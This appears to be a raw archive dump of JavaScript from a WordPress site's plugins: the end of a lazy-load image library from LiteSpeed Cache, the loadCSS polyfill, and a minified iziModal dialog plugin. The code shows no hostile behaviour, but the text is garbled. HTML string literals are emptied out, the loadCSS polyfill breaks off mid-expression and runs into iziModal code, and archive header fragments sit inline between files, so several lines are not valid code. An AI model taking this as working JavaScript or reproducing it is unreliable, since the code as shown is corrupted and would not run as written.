= 'url("'.concat(bgDataValue, '")'); getTempImage(element).setAttribute(SRC, bgDataValue); manageLoading(element, settings, instance); }; // NOTE: THE TEMP IMAGE TRICK CANNOT BE DONE WITH data-multi-bg // BECAUSE INSIDE ITS VALUES MUST BE WRAPPED WITH URL() AND ONE OF THEM // COULD BE A GRADIENT BACKGROUND IMAGE var setMultiBackground = function setMultiBackground(element, settings, instance) { var bg1xValue = getData(element, settings.data_bg_multi); var bgHiDpiValue = getData(element, settings.data_bg_multi_hidpi); var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue; if (!bgDataValue) { return; } element.style.backgroundImage = bgDataValue; manageApplied(element, settings, instance); }; var setSourcesFunctions = { IMG: setSourcesImg, IFRAME: setSourcesIframe, VIDEO: setSourcesVideo, }; var setSourcesNative = function setSourcesNative(element, settings) { var setSourcesFunction = setSourcesFunctions[element.tagName]; if (!setSourcesFunction) { return; } setSourcesFunction(element, settings); }; var setSources = function setSources(element, settings, instance) { var setSourcesFunction = setSourcesFunctions[element.tagName]; if (!setSourcesFunction) { return; } setSourcesFunction(element, settings); manageLoading(element, settings, instance); }; var elementsWithLoadEvent = ['IMG', 'IFRAME', 'VIDEO']; var hasLoadEvent = function hasLoadEvent(element) { return elementsWithLoadEvent.indexOf(element.tagName) > -1; }; var checkFinish = function checkFinish(settings, instance) { if (instance && !isSomethingLoading(instance) && !haveElementsToLoad(instance)) { safeCallback(settings.callback_finish, instance); } }; var addEventListener = function addEventListener(element, eventName, handler) { element.addEventListener(eventName, handler); element.llEvLisnrs[eventName] = handler; }; var removeEventListener = function removeEventListener(element, eventName, handler) { element.removeEventListener(eventName, handler); }; var hasEventListeners = function hasEventListeners(element) { return !!element.llEvLisnrs; }; var addEventListeners = function addEventListeners(element, loadHandler, errorHandler) { if (!hasEventListeners(element)) element.llEvLisnrs = {}; var loadEventName = element.tagName === 'VIDEO' ? 'loadeddata' : 'load'; addEventListener(element, loadEventName, loadHandler); addEventListener(element, 'error', errorHandler); }; var removeEventListeners = function removeEventListeners(element) { if (!hasEventListeners(element)) { return; } var eventListeners = element.llEvLisnrs; for (var eventName in eventListeners) { var handler = eventListeners[eventName]; removeEventListener(element, eventName, handler); } delete element.llEvLisnrs; }; var doneHandler = function doneHandler(element, settings, instance) { deleteTempImage(element); updateLoadingCount(instance, -1); decreaseToLoadCount(instance); removeClass(element, settings.class_loading); if (settings.unobserve_completed) { unobserve(element, instance); } }; var loadHandler = function loadHandler(event, element, settings, instance) { var goingNative = hasStatusNative(element); doneHandler(element, settings, instance); addClass(element, settings.class_loaded); setStatus(element, statusLoaded); safeCallback(settings.callback_loaded, element, instance); if (!goingNative) checkFinish(settings, instance); }; var errorHandler = function errorHandler(event, element, settings, instance) { var goingNative = hasStatusNative(element); doneHandler(element, settings, instance); addClass(element, settings.class_error); setStatus(element, statusError); safeCallback(settings.callback_error, element, instance); if (!goingNative) checkFinish(settings, instance); }; var addOneShotEventListeners = function addOneShotEventListeners(element, settings, instance) { var elementToListenTo = getTempImage(element) || element; if (hasEventListeners(elementToListenTo)) { // This happens when loading is retried twice return; } var _loadHandler = function _loadHandler(event) { loadHandler(event, element, settings, instance); removeEventListeners(elementToListenTo); }; var _errorHandler = function _errorHandler(event) { errorHandler(event, element, settings, instance); removeEventListeners(elementToListenTo); }; addEventListeners(elementToListenTo, _loadHandler, _errorHandler); }; var loadBackground = function loadBackground(element, settings, instance) { addTempImage(element); addOneShotEventListeners(element, settings, instance); saveOriginalBackgroundStyle(element); setBackground(element, settings, instance); setMultiBackground(element, settings, instance); }; var loadRegular = function loadRegular(element, settings, instance) { addOneShotEventListeners(element, settings, instance); setSources(element, settings, instance); }; var load = function load(element, settings, instance) { if (hasLoadEvent(element)) { loadRegular(element, settings, instance); } else { loadBackground(element, settings, instance); } }; var loadNative = function loadNative(element, settings, instance) { element.setAttribute('loading', 'lazy'); addOneShotEventListeners(element, settings, instance); setSourcesNative(element, settings); setStatus(element, statusNative); }; var removeImageAttributes = function removeImageAttributes(element) { element.removeAttribute(SRC); element.removeAttribute(SRCSET); element.removeAttribute(SIZES); }; var resetSourcesImg = function resetSourcesImg(element) { forEachPictureSource(element, function (sourceTag) { removeImageAttributes(sourceTag); }); removeImageAttributes(element); }; var restoreImg = function restoreImg(imgEl) { forEachPictureSource(imgEl, function (sourceEl) { restoreOriginalAttrs(sourceEl, attrsSrcSrcsetSizes); }); restoreOriginalAttrs(imgEl, attrsSrcSrcsetSizes); }; var restoreVideo = function restoreVideo(videoEl) { forEachVideoSource(videoEl, function (sourceEl) { restoreOriginalAttrs(sourceEl, attrsSrc); }); restoreOriginalAttrs(videoEl, attrsSrcPoster); videoEl.load(); }; var restoreIframe = function restoreIframe(iframeEl) { restoreOriginalAttrs(iframeEl, attrsSrc); }; var restoreFunctions = { IMG: restoreImg, IFRAME: restoreIframe, VIDEO: restoreVideo, }; var restoreAttributes = function restoreAttributes(element) { var restoreFunction = restoreFunctions[element.tagName]; if (!restoreFunction) { restoreOriginalBgImage(element); return; } restoreFunction(element); }; var resetClasses = function resetClasses(element, settings) { if (hasEmptyStatus(element) || hasStatusNative(element)) { return; } removeClass(element, settings.class_entered); removeClass(element, settings.class_exited); removeClass(element, settings.class_applied); removeClass(element, settings.class_loading); removeClass(element, settings.class_loaded); removeClass(element, settings.class_error); }; var restore = function restore(element, settings) { restoreAttributes(element); resetClasses(element, settings); resetStatus(element); deleteOriginalAttrs(element); }; var cancelLoading = function cancelLoading(element, entry, settings, instance) { if (!settings.cancel_on_exit) return; if (!hasStatusLoading(element)) return; if (element.tagName !== 'IMG') return; //Works only on images removeEventListeners(element); resetSourcesImg(element); restoreImg(element); removeClass(element, settings.class_loading); updateLoadingCount(instance, -1); resetStatus(element); safeCallback(settings.callback_cancel, element, entry, instance); }; var onEnter = function onEnter(element, entry, settings, instance) { var dontLoad = hadStartedLoading(element); /* Save status before setting it, to prevent loading it again. Fixes #526. */ setStatus(element, statusEntered); addClass(element, settings.class_entered); removeClass(element, settings.class_exited); unobserveEntered(element, settings, instance); safeCallback(settings.callback_enter, element, entry, instance); if (dontLoad) return; load(element, settings, instance); }; var onExit = function onExit(element, entry, settings, instance) { if (hasEmptyStatus(element)) return; //Ignore the first pass, at landing addClass(element, settings.class_exited); cancelLoading(element, entry, settings, instance); safeCallback(settings.callback_exit, element, entry, instance); }; var tagsWithNativeLazy = ['IMG', 'IFRAME', 'VIDEO']; var shouldUseNative = function shouldUseNative(settings) { return settings.use_native && 'loading' in HTMLImageElement.prototype; }; var loadAllNative = function loadAllNative(elements, settings, instance) { elements.forEach(function (element) { if (tagsWithNativeLazy.indexOf(element.tagName) === -1) { return; } loadNative(element, settings, instance); }); setToLoadCount(instance, 0); }; var isIntersecting = function isIntersecting(entry) { return entry.isIntersecting || entry.intersectionRatio > 0; }; var getObserverSettings = function getObserverSettings(settings) { return { root: settings.container === document ? null : settings.container, rootMargin: settings.thresholds || settings.threshold + 'px', }; }; var intersectionHandler = function intersectionHandler(entries, settings, instance) { entries.forEach(function (entry) { return isIntersecting(entry) ? onEnter(entry.target, entry, settings, instance) : onExit(entry.target, entry, settings, instance); }); }; var observeElements = function observeElements(observer, elements) { elements.forEach(function (element) { observer.observe(element); }); }; var updateObserver = function updateObserver(observer, elementsToObserve) { resetObserver(observer); observeElements(observer, elementsToObserve); }; var setObserver = function setObserver(settings, instance) { if (!supportsIntersectionObserver || shouldUseNative(settings)) { return; } instance._observer = new IntersectionObserver(function (entries) { intersectionHandler(entries, settings, instance); }, getObserverSettings(settings)); }; var toArray = function toArray(nodeSet) { return Array.prototype.slice.call(nodeSet); }; var queryElements = function queryElements(settings) { return settings.container.querySelectorAll(settings.elements_selector); }; var excludeManagedElements = function excludeManagedElements(elements) { return toArray(elements).filter(hasEmptyStatus); }; var hasError = function hasError(element) { return hasStatusError(element); }; var filterErrorElements = function filterErrorElements(elements) { return toArray(elements).filter(hasError); }; var getElementsToLoad = function getElementsToLoad(elements, settings) { return excludeManagedElements(elements || queryElements(settings)); }; var retryLazyLoad = function retryLazyLoad(settings, instance) { var errorElements = filterErrorElements(queryElements(settings)); errorElements.forEach(function (element) { removeClass(element, settings.class_error); resetStatus(element); }); instance.update(); }; var setOnlineCheck = function setOnlineCheck(settings, instance) { if (!runningOnBrowser) { return; } window.addEventListener('online', function () { retryLazyLoad(settings, instance); }); }; var LazyLoad = function LazyLoad(customSettings, elements) { var settings = getExtendedSettings(customSettings); this._settings = settings; this.loadingCount = 0; setObserver(settings, this); setOnlineCheck(settings, this); this.update(elements); }; LazyLoad.prototype = { update: function update(givenNodeset) { var settings = this._settings; var elementsToLoad = getElementsToLoad(givenNodeset, settings); setToLoadCount(this, elementsToLoad.length); if (isBot || !supportsIntersectionObserver) { this.loadAll(elementsToLoad); return; } if (shouldUseNative(settings)) { loadAllNative(elementsToLoad, settings, this); return; } updateObserver(this._observer, elementsToLoad); }, destroy: function destroy() { // Observer if (this._observer) { this._observer.disconnect(); } // Clean custom attributes on elements queryElements(this._settings).forEach(function (element) { deleteOriginalAttrs(element); }); // Delete all internal props delete this._observer; delete this._settings; delete this.loadingCount; delete this.toLoadCount; }, loadAll: function loadAll(elements) { var _this = this; var settings = this._settings; var elementsToLoad = getElementsToLoad(elements, settings); elementsToLoad.forEach(function (element) { unobserve(element, _this); load(element, settings, _this); }); }, restoreAll: function restoreAll() { var settings = this._settings; queryElements(settings).forEach(function (element) { restore(element, settings); }); }, }; LazyLoad.load = function (element, customSettings) { var settings = getExtendedSettings(customSettings); load(element, settings); }; LazyLoad.resetStatus = function (element) { resetStatus(element); }; // Automatic instances creation if required (useful for async script loading) // if (runningOnBrowser) { // autoInitialize(LazyLoad, window.lazyLoadOptions); // } return LazyLoad; }); plugins/litespeed-cache/assets/js/css_async.js000064400000002721152335264760015524 0ustar00/*! loadCSS. [c]2017 Filament Group, Inc. MIT License */ !function(a){"use strict";var b=function(b,c,d){function e(a){return h.body?a():void setTimeout(function(){e(a)})}function f(){i.addEventListener&&i.removeEventListener("load",f),i.media=d||"all"}var g,h=a.document,i=h.createElement("link");if(c)g=c;else{var j=(h.body||h.getElementsByTagName("head")[0]).childNodes;g=j[j.length-1]}var k=h.styleSheets;i.rel="stylesheet",i.href=b,i.media="only x",e(function(){g.parentNode.insertBefore(i,c?g:g.nextSibling)});var l=function(a){for(var b=i.href,c=k.length;c--;)if(k[c].href===b)return a();setTimeout(function(){l(a)})};return i.addEventListener&&i.addEventListener("load",f),i.onloadcssdefined=l,l(f),i};"undefined"!=typeof exports?exports.loadCSS=b:a.loadCSS=b}("undefined"!=typeof global?global:this); /*! loadCSS rel=preload polyfill. [c]2017 Filament Group, Inc. MIT License */ !function(a){if(a.loadCSS){var b=loadCSS.relpreload={};if(b.support=function(){try{return a.document.createElement("link").relList.supports("preload")}catch(b){return!1}},b.poly=function(){for(var b=a.document.getElementsByTagName("link"),c=0;c-1||userAgent.indexOf("Trident/")>-1)}function n(t){var e=/%|px|em|cm|vh|vw/;return parseInt(String(t).split(e)[0])}function o(e){var i=e.replace(/^.*#/,""),n=t(e);n.attr("id",i+"-tmp"),window.location.hash=e,n.attr("id",i)}var s=t(window),a=t(document),r="iziModal",l={CLOSING:"closing",CLOSED:"closed",OPENING:"opening",OPENED:"opened",DESTROYED:"destroyed"},d=e(),h=!!/Mobi/.test(navigator.userAgent);window.$iziModal={},window.$iziModal.autoOpen=0,window.$iziModal.history=!1;var c=function(t,e){this.init(t,e)};return c.prototype={constructor:c,init:function(e,i){var n=this;this.$element=t(e),void 0!==this.$element[0].id&&""!==this.$element[0].id?this.id=this.$element[0].id:(this.id=r+Math.floor(1e7*Math.random()+1),this.$element.attr("id",this.id)),this.classes=void 0!==this.$element.attr("class")?this.$element.attr("class"):"",this.content=this.$element.html(),this.state=l.CLOSED,this.options=i,this.width=0,this.timer=null,this.timerTimeout=null,this.progressBar=null,this.isPaused=!1,this.isFullscreen=!1,this.headerHeight=0,this.modalHeight=0,this.$overlay=t('
    '),this.$navigate=t('
    Use
    '),this.group={name:this.$element.attr("data-"+r+"-group"),index:null,ids:[]},this.$element.attr("aria-hidden","true"),this.$element.attr("aria-labelledby",this.id),this.$element.attr("role","dialog"),this.$element.hasClass("iziModal")||this.$element.addClass("iziModal"),void 0===this.group.name&&""!==i.group&&(this.group.name=i.group,this.$element.attr("data-"+r+"-group",i.group)),this.options.loop===!0&&this.$element.attr("data-"+r+"-loop",!0),t.each(this.options,function(t,e){var o=n.$element.attr("data-"+r+"-"+t);try{"undefined"!=typeof o&&(""===o||"true"==o?i[t]=!0:"false"==o?i[t]=!1:"function"==typeof e?i[t]=new Function(o):i[t]=o)}catch(s){}}),i.appendTo!==!1&&this.$element.appendTo(i.appendTo),i.iframe===!0?(this.$element.html('
    '+this.content+"
    "),null!==i.iframeHeight&&this.$element.find("."+r+"-iframe").css("height",i.iframeHeight)):this.$element.html('
    '+this.content+"
    "),null!==this.options.background&&this.$element.css("background",this.options.background),this.$wrap=this.$element.find("."+r+"-wrap"),null===i.zindex||isNaN(parseInt(i.zindex))||(this.$element.css("z-index",i.zindex),this.$navigate.css("z-index",i.zindex-1),this.$overlay.css("z-index",i.zindex-2)),""!==i.radius&&this.$element.css("border-radius",i.radius),""!==i.padding&&this.$element.find("."+r+"-content").css("padding",i.padding),""!==i.theme&&("light"===i.theme?this.$element.addClass(r+"-light"):this.$element.addClass(i.theme)),i.rtl===!0&&this.$element.addClass(r+"-rtl"),i.openFullscreen===!0&&(this.isFullscreen=!0,this.$element.addClass("isFullscreen")),this.createHeader(),this.recalcWidth(),this.recalcVerticalPos(),!n.options.afterRender||"function"!=typeof n.options.afterRender&&"object"!=typeof n.options.afterRender||n.options.afterRender(n)},createHeader:function(){this.$header=t('

    '+this.options.title+'

    '+this.options.subtitle+'

    '),this.options.closeButton===!0&&this.$header.find("."+r+"-header-buttons").append('"),this.options.fullscreen===!0&&this.$header.find("."+r+"-header-buttons").append('"),this.options.timeoutProgressbar===!0&&this.$header.prepend('
    '),""===this.options.subtitle&&this.$header.addClass(r+"-noSubtitle"),""!==this.options.title&&(null!==this.options.headerColor&&(this.options.borderBottom===!0&&this.$element.css("border-bottom","3px solid "+this.options.headerColor),this.$header.css("background",this.options.headerColor)),null===this.options.icon&&null===this.options.iconText||(this.$header.prepend(''),null!==this.options.icon&&this.$header.find("."+r+"-header-icon").addClass(this.options.icon).css("color",this.options.iconColor),null!==this.options.iconText&&this.$header.find("."+r+"-header-icon").html(this.options.iconText)),this.$element.css("overflow","hidden").prepend(this.$header))},setGroup:function(e){var i=this,n=this.group.name||e;if(this.group.ids=[],void 0!==e&&e!==this.group.name&&(n=e,this.group.name=n,this.$element.attr("data-"+r+"-group",n)),void 0!==n&&""!==n){var o=0;t.each(t("."+r+"[data-"+r+"-group="+n+"]"),function(e,n){i.group.ids.push(t(this)[0].id),i.id==t(this)[0].id&&(i.group.index=o),o++})}},toggle:function(){this.state==l.OPENED&&this.close(),this.state==l.CLOSED&&this.open()},startProgress:function(t){var e=this;this.isPaused=!1,clearTimeout(this.timerTimeout),this.options.timeoutProgressbar===!0?(this.progressBar={hideEta:null,maxHideTime:null,currentTime:(new Date).getTime(),el:this.$element.find("."+r+"-progressbar > div"),updateProgress:function(){if(!e.isPaused){e.progressBar.currentTime=e.progressBar.currentTime+10;var t=(e.progressBar.hideEta-e.progressBar.currentTime)/e.progressBar.maxHideTime*100;e.progressBar.el.width(t+"%"),t<0&&e.close()}}},t>0&&(this.progressBar.maxHideTime=parseFloat(t),this.progressBar.hideEta=(new Date).getTime()+this.progressBar.maxHideTime,this.timerTimeout=setInterval(this.progressBar.updateProgress,10))):this.timerTimeout=setTimeout(function(){e.close()},e.options.timeout)},pauseProgress:function(){this.isPaused=!0},resumeProgress:function(){this.isPaused=!1},resetProgress:function(t){clearTimeout(this.timerTimeout),this.progressBar={},this.$element.find("."+r+"-progressbar > div").width("100%")},open:function(e){function i(){s.state=l.OPENED,s.$element.trigger(l.OPENED),!s.options.onOpened||"function"!=typeof s.options.onOpened&&"object"!=typeof s.options.onOpened||s.options.onOpened(s)}function n(){s.$element.off("click","[data-"+r+"-close]").on("click","[data-"+r+"-close]",function(e){e.preventDefault();var i=t(e.currentTarget).attr("data-"+r+"-transitionOut");void 0!==i?s.close({transition:i}):s.close()}),s.$element.off("click","[data-"+r+"-fullscreen]").on("click","[data-"+r+"-fullscreen]",function(t){t.preventDefault(),s.isFullscreen===!0?(s.isFullscreen=!1,s.$element.removeClass("isFullscreen")):(s.isFullscreen=!0,s.$element.addClass("isFullscreen")),s.options.onFullscreen&&"function"==typeof s.options.onFullscreen&&s.options.onFullscreen(s),s.$element.trigger("fullscreen",s)}),s.$navigate.off("click","."+r+"-navigate-next").on("click","."+r+"-navigate-next",function(t){s.next(t)}),s.$element.off("click","[data-"+r+"-next]").on("click","[data-"+r+"-next]",function(t){s.next(t)}),s.$navigate.off("click","."+r+"-navigate-prev").on("click","."+r+"-navigate-prev",function(t){s.prev(t)}),s.$element.off("click","[data-"+r+"-prev]").on("click","[data-"+r+"-prev]",function(t){s.prev(t)})}var s=this;try{void 0!==e&&e.preventClose===!1&&t.each(t("."+r),function(e,i){if(void 0!==t(i).data().iziModal){var n=t(i).iziModal("getState");"opened"!=n&&"opening"!=n||t(i).iziModal("close")}})}catch(c){}if(function(){if(s.options.history){var t=document.title;document.title=t+" - "+s.options.title,o("#"+s.id),document.title=t,window.$iziModal.history=!0}else window.$iziModal.history=!1}(),this.state==l.CLOSED){if(n(),this.setGroup(),this.state=l.OPENING,this.$element.trigger(l.OPENING),this.$element.attr("aria-hidden","false"),this.options.timeoutProgressbar===!0&&this.$element.find("."+r+"-progressbar > div").width("100%"),this.options.iframe===!0){this.$element.find("."+r+"-content").addClass(r+"-content-loader"),this.$element.find("."+r+"-iframe").on("load",function(){t(this).parent().removeClass(r+"-content-loader")});var u=null;try{u=""!==t(e.currentTarget).attr("href")?t(e.currentTarget).attr("href"):null}catch(c){}if(null===this.options.iframeURL||null!==u&&void 0!==u||(u=this.options.iframeURL),null===u||void 0===u)throw new Error("Failed to find iframe URL");this.$element.find("."+r+"-iframe").attr("src",u)}(this.options.bodyOverflow||h)&&(t("html").addClass(r+"-isOverflow"),h&&t("body").css("overflow","hidden")),this.options.onOpening&&"function"==typeof this.options.onOpening&&this.options.onOpening(this),function(){if(s.group.ids.length>1){s.$navigate.appendTo("body"),s.$navigate.addClass("fadeIn"),s.options.navigateCaption===!0&&s.$navigate.find("."+r+"-navigate-caption").show();var n=s.$element.outerWidth();s.options.navigateArrows!==!1?"closeScreenEdge"===s.options.navigateArrows?(s.$navigate.find("."+r+"-navigate-prev").css("left",0).show(),s.$navigate.find("."+r+"-navigate-next").css("right",0).show()):(s.$navigate.find("."+r+"-navigate-prev").css("margin-left",-(n/2+84)).show(),s.$navigate.find("."+r+"-navigate-next").css("margin-right",-(n/2+84)).show()):(s.$navigate.find("."+r+"-navigate-prev").hide(),s.$navigate.find("."+r+"-navigate-next").hide());var o;0===s.group.index&&(o=t("."+r+"[data-"+r+'-group="'+s.group.name+'"][data-'+r+"-loop]").length,0===o&&s.options.loop===!1&&s.$navigate.find("."+r+"-navigate-prev").hide()),s.group.index+1===s.group.ids.length&&(o=t("."+r+"[data-"+r+'-group="'+s.group.name+'"][data-'+r+"-loop]").length,0===o&&s.options.loop===!1&&s.$navigate.find("."+r+"-navigate-next").hide())}s.options.overlay===!0&&(s.options.appendToOverlay===!1?s.$overlay.appendTo("body"):s.$overlay.appendTo(s.options.appendToOverlay)),s.options.transitionInOverlay&&s.$overlay.addClass(s.options.transitionInOverlay);var a=s.options.transitionIn;"object"==typeof e&&(void 0===e.transition&&void 0===e.transitionIn||(a=e.transition||e.transitionIn),void 0!==e.zindex&&s.setZindex(e.zindex)),""!==a&&void 0!==d?(s.$element.addClass("transitionIn "+a).show(),s.$wrap.one(d,function(){s.$element.removeClass(a+" transitionIn"),s.$overlay.removeClass(s.options.transitionInOverlay),s.$navigate.removeClass("fadeIn"),i()})):(s.$element.show(),i()),s.options.pauseOnHover!==!0||s.options.pauseOnHover!==!0||s.options.timeout===!1||isNaN(parseInt(s.options.timeout))||s.options.timeout===!1||0===s.options.timeout||(s.$element.off("mouseenter").on("mouseenter",function(t){t.preventDefault(),s.isPaused=!0}),s.$element.off("mouseleave").on("mouseleave",function(t){t.preventDefault(),s.isPaused=!1}))}(),this.options.timeout===!1||isNaN(parseInt(this.options.timeout))||this.options.timeout===!1||0===this.options.timeout||s.startProgress(this.options.timeout),this.options.overlayClose&&!this.$element.hasClass(this.options.transitionOut)&&this.$overlay.click(function(){s.close()}),this.options.focusInput&&this.$element.find(":input:not(button):enabled:visible:first").focus(),function p(){s.recalcLayout(),s.timer=setTimeout(p,300)}(),a.on("keydown."+r,function(t){s.options.closeOnEscape&&27===t.keyCode&&s.close()})}},close:function(e){function i(){n.state=l.CLOSED,n.$element.trigger(l.CLOSED),n.options.iframe===!0&&n.$element.find("."+r+"-iframe").attr("src",""),(n.options.bodyOverflow||h)&&(t("html").removeClass(r+"-isOverflow"),h&&t("body").css("overflow","auto")),n.options.onClosed&&"function"==typeof n.options.onClosed&&n.options.onClosed(n),n.options.restoreDefaultContent===!0&&n.$element.find("."+r+"-content").html(n.content),0===t("."+r+":visible").length&&t("html").removeClass(r+"-isAttached")}var n=this;if(this.state==l.OPENED||this.state==l.OPENING){a.off("keydown."+r),this.state=l.CLOSING,this.$element.trigger(l.CLOSING),this.$element.attr("aria-hidden","true"),clearTimeout(this.timer),clearTimeout(this.timerTimeout),n.options.onClosing&&"function"==typeof n.options.onClosing&&n.options.onClosing(this);var o=this.options.transitionOut;"object"==typeof e&&(void 0===e.transition&&void 0===e.transitionOut||(o=e.transition||e.transitionOut)),o===!1||""===o||void 0===d?(this.$element.hide(),this.$overlay.remove(),this.$navigate.remove(),i()):(this.$element.attr("class",[this.classes,r,o,"light"==this.options.theme?r+"-light":this.options.theme,this.isFullscreen===!0?"isFullscreen":"",this.options.rtl?r+"-rtl":""].join(" ")),this.$overlay.attr("class",r+"-overlay "+this.options.transitionOutOverlay),n.options.navigateArrows===!1||h||this.$navigate.attr("class",r+"-navigate fadeOut"),this.$element.one(d,function(){n.$element.hasClass(o)&&n.$element.removeClass(o+" transitionOut").hide(),n.$overlay.removeClass(n.options.transitionOutOverlay).remove(),n.$navigate.removeClass("fadeOut").remove(),i()}))}},next:function(e){var i=this,n="fadeInRight",o="fadeOutLeft",s=t("."+r+":visible"),a={};a.out=this,void 0!==e&&"object"!=typeof e?(e.preventDefault(),s=t(e.currentTarget),n=s.attr("data-"+r+"-transitionIn"),o=s.attr("data-"+r+"-transitionOut")):void 0!==e&&(void 0!==e.transitionIn&&(n=e.transitionIn),void 0!==e.transitionOut&&(o=e.transitionOut)),this.close({transition:o}),setTimeout(function(){for(var e=t("."+r+"[data-"+r+'-group="'+i.group.name+'"][data-'+r+"-loop]").length,o=i.group.index+1;o<=i.group.ids.length;o++){try{a["in"]=t("#"+i.group.ids[o]).data().iziModal}catch(s){}if("undefined"!=typeof a["in"]){t("#"+i.group.ids[o]).iziModal("open",{transition:n});break}if(o==i.group.ids.length&&e>0||i.options.loop===!0)for(var l=0;l<=i.group.ids.length;l++)if(a["in"]=t("#"+i.group.ids[l]).data().iziModal,"undefined"!=typeof a["in"]){t("#"+i.group.ids[l]).iziModal("open",{transition:n});break}}},200),t(document).trigger(r+"-group-change",a)},prev:function(e){var i=this,n="fadeInLeft",o="fadeOutRight",s=t("."+r+":visible"),a={};a.out=this,void 0!==e&&"object"!=typeof e?(e.preventDefault(),s=t(e.currentTarget),n=s.attr("data-"+r+"-transitionIn"),o=s.attr("data-"+r+"-transitionOut")):void 0!==e&&(void 0!==e.transitionIn&&(n=e.transitionIn),void 0!==e.transitionOut&&(o=e.transitionOut)),this.close({transition:o}),setTimeout(function(){for(var e=t("."+r+"[data-"+r+'-group="'+i.group.name+'"][data-'+r+"-loop]").length,o=i.group.index;o>=0;o--){try{a["in"]=t("#"+i.group.ids[o-1]).data().iziModal}catch(s){}if("undefined"!=typeof a["in"]){t("#"+i.group.ids[o-1]).iziModal("open",{transition:n});break}if(0===o&&e>0||i.options.loop===!0)for(var l=i.group.ids.length-1;l>=0;l--)if(a["in"]=t("#"+i.group.ids[l]).data().iziModal,"undefined"!=typeof a["in"]){t("#"+i.group.ids[l]).iziModal("open",{transition:n});break}}},200),t(document).trigger(r+"-group-change",a)},destroy:function(){var e=t.Event("destroy");this.$element.trigger(e),a.off("keydown."+r),clearTimeout(this.timer),clearTimeout(this.timerTimeout),this.options.iframe===!0&&this.$element.find("."+r+"-iframe").remove(),this.$element.html(this.$element.find("."+r+"-content").html()),this.$element.off("click","[data-"+r+"-close]"),this.$element.off("click","[data-"+r+"-fullscreen]"),this.$element.off("."+r).removeData(r).attr("style",""),this.$overlay.remove(),this.$navigate.remove(),this.$element.trigger(l.DESTROYED),this.$element=null},getState:function(){return this.state},getGroup:function(){return this.group},setWidth:function(t){this.options.width=t,this.recalcWidth();var e=this.$element.outerWidth();this.options.navigateArrows!==!0&&"closeToModal"!=this.options.navigateArrows||(this.$navigate.find("."+r+"-navigate-prev").css("margin-left",-(e/2+84)).show(),this.$navigate.find("."+r+"-navigate-next").css("margin-right",-(e/2+84)).show())},setTop:function(t){this.options.top=t,this.recalcVerticalPos(!1)},setBottom:function(t){this.options.bottom=t,this.recalcVerticalPos(!1)},setHeader:function(t){t?this.$element.find("."+r+"-header").show():(this.headerHeight=0,this.$element.find("."+r+"-header").hide())},setTitle:function(t){this.options.title=t,0===this.headerHeight&&this.createHeader(),0===this.$header.find("."+r+"-header-title").length&&this.$header.append('

    '),this.$header.find("."+r+"-header-title").html(t)},setSubtitle:function(t){""===t?(this.$header.find("."+r+"-header-subtitle").remove(),this.$header.addClass(r+"-noSubtitle")):(0===this.$header.find("."+r+"-header-subtitle").length&&this.$header.append('

    '),this.$header.removeClass(r+"-noSubtitle")),this.$header.find("."+r+"-header-subtitle").html(t),this.options.subtitle=t},setIcon:function(t){0===this.$header.find("."+r+"-header-icon").length&&this.$header.prepend(''),this.$header.find("."+r+"-header-icon").attr("class",r+"-header-icon "+t),this.options.icon=t},setIconText:function(t){this.$header.find("."+r+"-header-icon").html(t),this.options.iconText=t},setHeaderColor:function(t){this.options.borderBottom===!0&&this.$element.css("border-bottom","3px solid "+t),this.$header.css("background",t),this.options.headerColor=t},setBackground:function(t){t===!1?(this.options.background=null,this.$element.css("background","")):(this.$element.css("background",t),this.options.background=t)},setZindex:function(t){isNaN(parseInt(this.options.zindex))||(this.options.zindex=t,this.$element.css("z-index",t),this.$navigate.css("z-index",t-1),this.$overlay.css("z-index",t-2))},setFullscreen:function(t){t?(this.isFullscreen=!0,this.$element.addClass("isFullscreen")):(this.isFullscreen=!1,this.$element.removeClass("isFullscreen"))},setContent:function(t){if("object"==typeof t){var e=t["default"]||!1;e===!0&&(this.content=t.content),t=t.content}this.options.iframe===!1&&this.$element.find("."+r+"-content").html(t)},setTransitionIn:function(t){this.options.transitionIn=t},setTransitionOut:function(t){this.options.transitionOut=t},setTimeout:function(t){this.options.timeout=t},resetContent:function(){this.$element.find("."+r+"-content").html(this.content)},startLoading:function(){this.$element.find("."+r+"-loader").length||this.$element.append('
    '),this.$element.find("."+r+"-loader").css({top:this.headerHeight,borderRadius:this.options.radius})},stopLoading:function(){var t=this.$element.find("."+r+"-loader");t.length||(this.$element.prepend('
    '),t=this.$element.find("."+r+"-loader").css("border-radius",this.options.radius)),t.removeClass("fadeIn").addClass("fadeOut"),setTimeout(function(){t.remove()},600)},recalcWidth:function(){var t=this;if(this.$element.css("max-width",this.options.width),i()){var e=t.options.width;e.toString().split("%").length>1&&(e=t.$element.outerWidth()),t.$element.css({left:"50%",marginLeft:-(e/2)})}},recalcVerticalPos:function(t){null!==this.options.top&&this.options.top!==!1?(this.$element.css("margin-top",this.options.top),0===this.options.top&&this.$element.css({borderTopRightRadius:0,borderTopLeftRadius:0})):t===!1&&this.$element.css({marginTop:"",borderRadius:this.options.radius}),null!==this.options.bottom&&this.options.bottom!==!1?(this.$element.css("margin-bottom",this.options.bottom),0===this.options.bottom&&this.$element.css({borderBottomRightRadius:0,borderBottomLeftRadius:0})):t===!1&&this.$element.css({marginBottom:"",borderRadius:this.options.radius})},recalcLayout:function(){var e=this,o=s.height(),a=this.$element.outerHeight(),d=this.$element.outerWidth(),h=this.$element.find("."+r+"-content")[0].scrollHeight,c=h+this.headerHeight,u=this.$element.innerHeight()-this.headerHeight,p=(parseInt(-((this.$element.innerHeight()+1)/2))+"px",this.$wrap.scrollTop()),f=0;i()&&(d>=s.width()||this.isFullscreen===!0?this.$element.css({left:"0",marginLeft:""}):this.$element.css({left:"50%",marginLeft:-(d/2)})),this.options.borderBottom===!0&&""!==this.options.title&&(f=3),this.$element.find("."+r+"-header").length&&this.$element.find("."+r+"-header").is(":visible")?(this.headerHeight=parseInt(this.$element.find("."+r+"-header").innerHeight()),this.$element.css("overflow","hidden")):(this.headerHeight=0,this.$element.css("overflow","")),this.$element.find("."+r+"-loader").length&&this.$element.find("."+r+"-loader").css("top",this.headerHeight),a!==this.modalHeight&&(this.modalHeight=a,this.options.onResize&&"function"==typeof 